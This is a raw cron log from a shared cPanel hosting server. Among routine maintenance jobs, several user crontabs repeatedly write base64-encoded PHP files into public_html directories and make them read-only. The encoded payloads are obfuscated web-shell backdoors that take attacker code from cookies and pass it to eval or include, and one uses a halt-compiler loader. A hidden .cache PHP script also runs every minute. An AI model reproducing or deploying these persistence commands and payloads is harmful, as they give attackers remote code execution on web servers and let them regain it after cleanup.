Mar  1 09:55:01 medusa CROND[18869]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:55:01 medusa CROND[18867]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 09:55:01 medusa CROND[18866]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 09:55:01 medusa CROND[18864]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 09:55:01 medusa CROND[18874]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 09:55:01 medusa CROND[18877]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:55:01 medusa CROND[18873]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 09:55:01 medusa CROND[18871]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 09:55:01 medusa CROND[18870]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 09:55:01 medusa CROND[18885]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 09:55:01 medusa CROND[18886]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:55:01 medusa CROND[18887]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 09:55:01 medusa CROND[18888]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 09:55:01 medusa CROND[18893]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:55:01 medusa CROND[18891]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 09:55:01 medusa CROND[18900]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 09:55:01 medusa CROND[18902]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 09:56:02 medusa CROND[8326]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 09:56:02 medusa CROND[8390]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:56:02 medusa CROND[8392]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:56:02 medusa CROND[8393]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 09:56:02 medusa CROND[8394]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 09:56:02 medusa CROND[8397]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:56:02 medusa CROND[8396]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 09:56:02 medusa CROND[8398]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 09:56:02 medusa CROND[8400]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 09:56:02 medusa CROND[8401]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 09:56:02 medusa CROND[8403]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 09:56:02 medusa CROND[8404]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 09:56:02 medusa CROND[8402]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 09:56:02 medusa CROND[8411]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:57:01 medusa CROND[29996]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 09:57:01 medusa CROND[30037]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 09:57:01 medusa CROND[30150]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 09:57:01 medusa CROND[30151]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 09:57:01 medusa CROND[30152]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 09:57:01 medusa CROND[30153]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 09:57:01 medusa CROND[30154]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
